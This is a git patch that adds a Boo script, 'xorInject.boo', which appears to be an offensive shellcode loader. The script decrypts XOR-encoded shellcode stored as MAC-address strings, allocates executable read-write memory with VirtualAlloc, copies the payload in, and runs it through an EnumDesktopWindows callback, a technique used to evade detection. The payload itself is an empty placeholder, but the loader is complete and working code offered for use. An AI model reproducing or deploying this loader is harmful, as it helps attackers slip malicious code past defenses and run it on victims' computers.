From f7963ae688210c46e11b974087380fb3771ec597 Mon Sep 17 00:00:00 2001
From: JMFL <76661292+JkMaFlLi@users.noreply.github.com>
Date: Mon, 4 Nov 2024 19:28:26 -0500
Subject: [PATCH] Add files via upload

---
 xorInject.boo | 64 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 64 insertions(+)
 create mode 100644 xorInject.boo

diff --git a/xorInject.boo b/xorInject.boo
new file mode 100644
index 0000000..bd68a24
--- /dev/null
+++ b/xorInject.boo
@@ -0,0 +1,64 @@
+import System.Runtime.InteropServices
+from System import IntPtr
+
+callable EnumDesktopWindowsProc(hwnd as IntPtr, lParam as IntPtr) as bool
+
+[DllImport("user32.dll")]
+def EnumDesktopWindows(hDesktop as IntPtr, lpEnumFunc as EnumDesktopWindowsProc, lParam as IntPtr) as bool:
+    pass
+
+[DllImport("kernel32.dll")]
+def VirtualAlloc(lpStartAddr as int, size as int, flAllocationType as int, flProtect as int) as int:
+    pass
+
+[DllImport("user32.dll")]
+def GetThreadDesktop(dwThreadId as int) as IntPtr:
+    pass
+
+[DllImport("kernel32.dll")]
+def GetCurrentThreadId() as int:
+    pass
+
+callable ShellcodeDelegate() as void
+
+# XOR encrypted shellcode - format from your Python script
+encryptedShellcode = (
+        # place shellcode here
+)
+
+def DecryptShellcode(encrypted as (string), key as byte) as (byte):
+    # Convert MAC address format to bytes and decrypt
+    decrypted = List[of byte]()
+    for mac in encrypted:
+        bytes = mac.Split(char('-'))
+        for b in bytes:
+            if b:  # Skip empty strings
+                encrypted_byte = byte.Parse(b, System.Globalization.NumberStyles.HexNumber)
+                decrypted.Add(encrypted_byte ^ key)
+    return decrypted.ToArray()
+
+def DesktopCallback(hwnd as IntPtr, lParam as IntPtr) as bool:
+    shellcodeFunc = cast(ShellcodeDelegate, Marshal.GetDelegateForFunctionPointer(lParam, typeof(ShellcodeDelegate)))
+    shellcodeFunc()
+    return false
+
+PAGE_EXECUTE_READWRITE = 0x00000040
+MEM_COMMIT = 0x00001000
+XOR_KEY = 0x42  # Same key used in Python script
+
+# Decrypt shellcode
+decryptedShellcode = DecryptShellcode(encryptedShellcode, XOR_KEY)
+
+# Allocate memory for shellcode
+funcAddr = VirtualAlloc(0, decryptedShellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
+print "Allocated memory at: $funcAddr"
+
+# Copy decrypted shellcode to memory
+Marshal.Copy(decryptedShellcode, 0, funcAddr cast IntPtr, decryptedShellcode.Length)
+
+# Get desktop handle and execute
+hDesktop = GetThreadDesktop(GetCurrentThreadId())
+print "Using desktop handle: $hDesktop"
+
+# Execute via EnumDesktopWindows
+EnumDesktopWindows(hDesktop, DesktopCallback, IntPtr(funcAddr))
\ No newline at end of file